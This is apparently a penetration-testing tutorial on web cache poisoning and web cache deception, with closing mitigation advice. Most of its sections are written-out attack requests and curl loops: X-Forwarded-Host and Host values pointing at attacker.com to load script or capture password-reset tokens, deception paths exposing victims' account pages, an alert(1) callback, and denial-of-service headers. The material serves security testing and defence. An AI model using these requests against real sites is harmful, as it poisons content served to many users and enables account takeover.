How Web Caches Work
Web caches (CDN edge nodes, Varnish, Squid, Nginx proxy_cache, Fastly, Cloudflare) sit between clients and origin servers. When a cacheable resource is requested, the cache stores the response and serves it to subsequent requesters without hitting the origin. The mechanism that determines whether a cached response is appropriate for a given request is the cache key.
A cache key is a hash of specific request properties that uniquely identify a cacheable resource. By default, the cache key usually includes:
- The URL (scheme + host + path + query string)
- Sometimes specific headers like
Accept-Encoding,Accept-Language - Sometimes the Vary response header's nominated request headers
Crucially, many request inputs are not part of the cache key but are used by the origin server to generate the response. These "unkeyed inputs" are the attack surface for cache poisoning.
Cache Response Headers to Understand
# Cache HIT indicators:
Age: 234 # seconds since response was cached
X-Cache: HIT # Varnish/generic
CF-Cache-Status: HIT # Cloudflare
X-Served-By: cache-... # Fastly
Via: 1.1 varnish # Varnish proxy
# Cache MISS indicators:
X-Cache: MISS
CF-Cache-Status: MISS
Age: 0
# Vary header — tells cache to include named headers in cache key:
Vary: Accept-Encoding, Accept-Language, Cookie
# If Vary: Cookie is set, each user gets their own cache entry (good security)
# If Vary is absent or minimal: cache is shared across users (poisoning possible)
# Cache-Control directives that enable caching:
Cache-Control: public, max-age=3600
Cache-Control: s-maxage=86400 # CDN-specific max age
Identifying Unkeyed Inputs with Param Miner
Param Miner is a Burp Suite extension that automates the discovery of hidden parameters and unkeyed headers by sending requests with many candidate values and detecting behavioral differences in responses.
# Install Param Miner:
# Burp Suite > Extensions > BApp Store > Param Miner > Install
# Usage workflow:
# 1. Find a cacheable page (Age header present, or cache headers indicate caching)
# 2. Right-click request > Extensions > Param Miner > Guess headers
# 3. Param Miner sends requests with hundreds of header candidates
# 4. When a response differs (e.g., reflects the header value, changes behavior):
# That header is an unkeyed input = potential cache poisoning vector
# Manual approach — test common unkeyed headers:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: canary-value-12345.attacker.com
# Check response for reflection:
# If response contains "canary-value-12345.attacker.com" in a script src, link, form action:
# Unkeyed header found!
# Common unkeyed headers to test:
# X-Forwarded-Host
# X-Forwarded-Scheme
# X-Forwarded-For
# X-Host
# X-Forwarded-Port
# X-Original-URL
# X-Rewrite-URL
# X-Custom-IP-Authorization
# Forwarded: host=attacker.com
# X-HTTP-Host-Override
Unkeyed Header Exploitation — X-Forwarded-Host
# Scenario: App uses X-Forwarded-Host to construct absolute URLs
# (common in apps behind CDN that need to know the original hostname)
# Step 1: Confirm reflection without caching
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: test-reflection-12345.attacker.com
Cache-Control: no-cache # bypass cache, reach origin
# Check response for: test-reflection-12345.attacker.com
# Found in: <script src="//test-reflection-12345.attacker.com/static/app.js">
# Confirmed: X-Forwarded-Host is used to build script URLs
# Step 2: Poison the cache
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Remove Cache-Control: no-cache to allow caching
# Response:
# <script src="//attacker.com/static/app.js"></script>
# + Cache-Control: public, max-age=3600
# + X-Cache: MISS <-- being cached now!
# Step 3: Confirm cache hit
GET / HTTP/1.1
Host: target.com
# No X-Forwarded-Host — but poisoned response is served from cache!
# Response contains: <script src="//attacker.com/static/app.js"></script>
# Every user who visits target.com now loads attacker.js
# X-Cache: HIT <-- confirmed serving from cache
Host Header Injection
The HTTP Host header specifies the domain the client is requesting. Many applications use the Host header to construct links, generate password reset URLs, and create absolute references. If the Host header value is reflected into the response and that response is cached, the combination enables powerful attacks:
# Host header injection for password reset poisoning (no cache needed):
# Send password reset with modified Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If the application constructs: "Click here: https://{Host}/reset?token=ABC123"
# Victim receives email with: https://attacker.com/reset?token=ABC123
# They click it, token is sent to attacker's server
# Attacker resets victim's password
# Host header cache poisoning for stored XSS delivery:
# If X-Cache: MISS returned with Host: attacker.com in response:
GET / HTTP/1.1
Host: attacker.com
# Response cached with attacker.com URLs in script tags
# Served to all users from CDN cache
# Absolute URL injection via Host with path:
GET / HTTP/1.1
Host: attacker.com/x
# Some apps use Host as-is: "Location: http://attacker.com/x/dashboard"
Web Cache Deception
Web Cache Deception (WCD) is the inverse of cache poisoning: instead of poisoning the cache with a malicious response, the attacker tricks the cache into storing an authenticated response — the victim's private data — under a URL that the attacker can then request.
# Web Cache Deception attack flow:
# Premise: Cache caches based on file extension (e.g., caches .css files)
# App ignores the extra path segment and serves the user's profile page regardless
# Step 1: Attacker constructs a URL that tricks the cache
# /account/settings/nonexistent.css
# Cache thinks: this is a CSS file, I should cache it!
# App thinks: /account/settings/nonexistent.css = /account/settings (serves auth content)
# Step 2: Attacker sends this URL to victim (via email, chat, CSRF trick)
# Victim visits: https://target.com/account/settings/style.css
# Cache misses (not cached yet), origin serves victim's account settings HTML
# Cache stores the response (victim's private data) keyed to /account/settings/style.css
# Step 3: Attacker requests the same URL (without being logged in):
GET /account/settings/style.css HTTP/1.1
Host: target.com
# Receives victim's private account data from cache!
# Finding WCD-vulnerable paths:
# Test with various fake extensions: .css, .js, .jpg, .png, .ico, .woff
# Path variations:
# /api/user/profile.css
# /dashboard;.js
# /account%2F..%2F..%2Fstatic%2Fstyle.css
# /private-data/.well-known/security.txt (if WKU is cached)
# Check cache rules with known endpoints:
for ext in .css .js .jpg .png .gif .ico .woff; do
curl -s -I "https://target.com/my-account/fake$ext" | grep -i "x-cache\|cf-cache"
done
Normalized Path Bypasses for WCD
# URL path delimiter variations that apps ignore but CDN includes in cache key:
/profile/..%2Fprofile%2F.css # path traversal
/profile#.css # fragment (treated as path by some CDNs)
/profile%3F.css # URL-encoded ?
/profile;.css # semicolon delimiter
# HTTP method variation:
GET /account HTTP/1.1
X-HTTP-Method-Override: GET
# Akamai-specific: ARL rewrite rules may cache /account/static.css
# Fastly: surrogate keys and TTL inheritance
# Testing with Cache-Buster to avoid poisoning yourself:
# Add unique parameter to avoid being served poisoned responses:
GET /account/settings.css?cb=unique123 HTTP/1.1
# cb parameter makes each test unique, preventing cross-test contamination
Fat GET Requests
# A "fat GET" is a GET request with a body
# Some caches key on method + URL (ignoring body)
# But some back-ends process the body of GET requests as parameters
# If cache ignores body but app uses it:
GET /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
q=evil
# Cache key: GET /search (no body)
# App response: search results for "evil" (reflected in response)
# Cache stores this malicious response for ALL GET /search requests!
# Testing for fat GET poisoning:
GET /search?legit=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
q=canary-fat-get-test
# Check response for "canary-fat-get-test"
# If found: fat GET processing confirmed
# If response is also cached: poisoning possible
Parameter Cloaking
# Parameter cloaking exploits differences in how the cache vs the app parse query strings
# Payload: use a semicolon as a delimiter (some frameworks use ; as param separator)
# Cache key: /search?utm_source=1 (ignores the semicolon part)
# App sees: utm_source=1 AND injected parameter after semicolon
GET /search?utm_source=legit;callback=alert(1) HTTP/1.1
Host: target.com
# If app has a JSONP endpoint that reads "callback" parameter:
# Response: alert(1)({"results":[...]})
# Cache keys this as /search?utm_source=legit (ignoring ;callback=alert(1))
# All users requesting /search?utm_source=legit get the XSS payload
# Semicolon vs ampersand variations:
# Ruby on Rack parses ; as parameter separator
# PHP: ? and & only
# Django: ?key=val&key2=val2 only
# Mismatch between cache (uses &) and app (uses & or ;)
# Burp Param Miner "param cloaking" mode:
# Right-click > Extensions > Param Miner > Guess params (unkeyed)
# Enable: Query parameter injection via `;`
Cache Poisoning DoS
# Poison a cached resource with an error response
# All users receive 500/404/redirect instead of the real content
# Method 1: Inject invalid header that causes origin error
GET /api/data HTTP/1.1
Host: target.com
X-Forwarded-Host: '; DROP TABLE--
# If the origin crashes with 500: that error response gets cached
# Every subsequent request for /api/data returns 500
# Method 2: Poison with redirect to down server
GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: ws # trigger WebSocket redirect error
# Method 3: Large body cache poisoning
# Inject a very large unkeyed header value that causes backend error
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: AAAAAAA[*10000]
# Method 4: Content-type poisoning
GET /api/users.json HTTP/1.1
Host: target.com
X-Forwarded-For: evil' /* causes JSON parse error downstream */
CDN-Specific Behaviors
| CDN | Cache Key Headers | Notable Behavior | Unkeyed Inputs |
|---|---|---|---|
| Cloudflare | Host, URL, CF-Device-Type | Normalizes URL path, strips some headers | X-Forwarded-Host, True-Client-IP |
| Akamai | Host, URL, Accept-Encoding | Complex cache key rules, ARL manipulation | X-Forwarded-For, Pragma |
| Fastly | Host, URL, Surrogate-Key | Surrogate keys for tag-based purging | Fastly-SSL, X-Forwarded-Host |
| AWS CloudFront | Host, URL, custom policies | Configurable via distribution settings | Viewer-Country, CloudFront headers |
| Varnish | Host, URL (default) | Fully configurable VCL, often misconfigured | Many — depends on VCL config |
# Cloudflare-specific testing:
# CF-Cache-Status values: HIT, MISS, EXPIRED, REVALIDATED, UPDATING, STALE, BYPASS, DYNAMIC
# "DYNAMIC" means Cloudflare does not cache this response type by default
# BYPASS: either Cache-Control: no-store or browser-specific bypass
# Force cache bypass in Cloudflare for testing:
# Add Cache-Control: no-cache to your poisoning request (reaches origin fresh)
# Remove it for subsequent requests to confirm cache hit
# Akamai Edge Logic:
# Akamai uses ARL (Akamai Resource Locator) for cache keys
# Trailing path manipulation: /page/ vs /page?
# Akamai-specific headers: Akamai-Origin-Hop, X-Check-Cacheable
# Fastly surrogate key poisoning:
# If you can set Surrogate-Key response header via injection:
# You control which cache entries are tagged for purging
# Allows cache busting of other users' cached content
# Cache Buster technique for safe testing:
# Add a unique cache buster parameter to every test to avoid being served cached responses:
GET /target-endpoint?cachebuster=abc123test HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.attacker.com
# The cb param makes the cache key unique — no risk of poisoning production cache
Complete Param Miner Workflow
# Step-by-step methodology:
# 1. Find cacheable pages:
# Visit site pages and check response headers for Age, X-Cache, CF-Cache-Status
# Prefer static-looking pages with high traffic (home page, JS files, CSS)
# 2. Establish baseline (without cache):
GET / HTTP/1.1
Host: target.com
Cache-Control: no-cache # bypass cache, reach origin
# Note: response content, length, status code
# 3. Run Param Miner header scan:
# Right-click in Burp Proxy > Extensions > Param Miner > Guess headers
# In settings: enable "Add cache busters" and "Use custom wordlist"
# 4. Manually test reflected headers:
for header in "X-Forwarded-Host" "X-Host" "X-Forwarded-Server" "X-HTTP-Host-Override"; do
curl -s -H "$header: canary-$(date +%s).attacker.com" \
"https://target.com/" | grep -o "canary-[0-9]*\.attacker\.com"
done
# 5. Identify reflection context:
# In script src: can inject external JS = XSS on all users
# In link href: can inject CSS = UI redress
# In meta redirect: can redirect all users
# In form action: can redirect form submissions
# In canonical URL: SEO impact
# 6. Confirm caching with clean request:
# Remove the injected header, request the URL
# If cached response still reflects attacker.com: POISONED
Mitigation
# 1. Mark sensitive pages as uncacheable:
Cache-Control: no-store, private
Vary: Cookie # ensures each user's session gets its own cache entry
# 2. Don't use unkeyed headers in response generation:
# If using X-Forwarded-Host, add it to the cache key
# Varnish: set bereq.http.X-Forwarded-Host in vcl_hash
# Nginx: proxy_cache_key "$host$request_uri$http_x_forwarded_host";
# 3. Validate and sanitize Host header:
# Only accept known domain names in Host header
# Reject or redirect requests with unknown Host values
# 4. Use Vary header appropriately:
# Vary: Cookie ensures user-specific pages are cached per-user
# Vary: Accept-Encoding is safe for static resources
# 5. Cache busting parameters for CDN:
# Ensure query parameters that change response content are included in cache key
# CloudFront: Forward all query strings in origin settings
Cache poisoning vulnerabilities are particularly valuable because their impact multiplies across all users of a site — a single poisoned cache entry serves malicious content to thousands or millions of visitors. The combination of widespread CDN usage, unkeyed header processing, and complex origin applications means this attack surface continues to grow. Param Miner has democratized discovery of these vulnerabilities, making systematic testing of every cacheable endpoint a core part of web application penetration testing.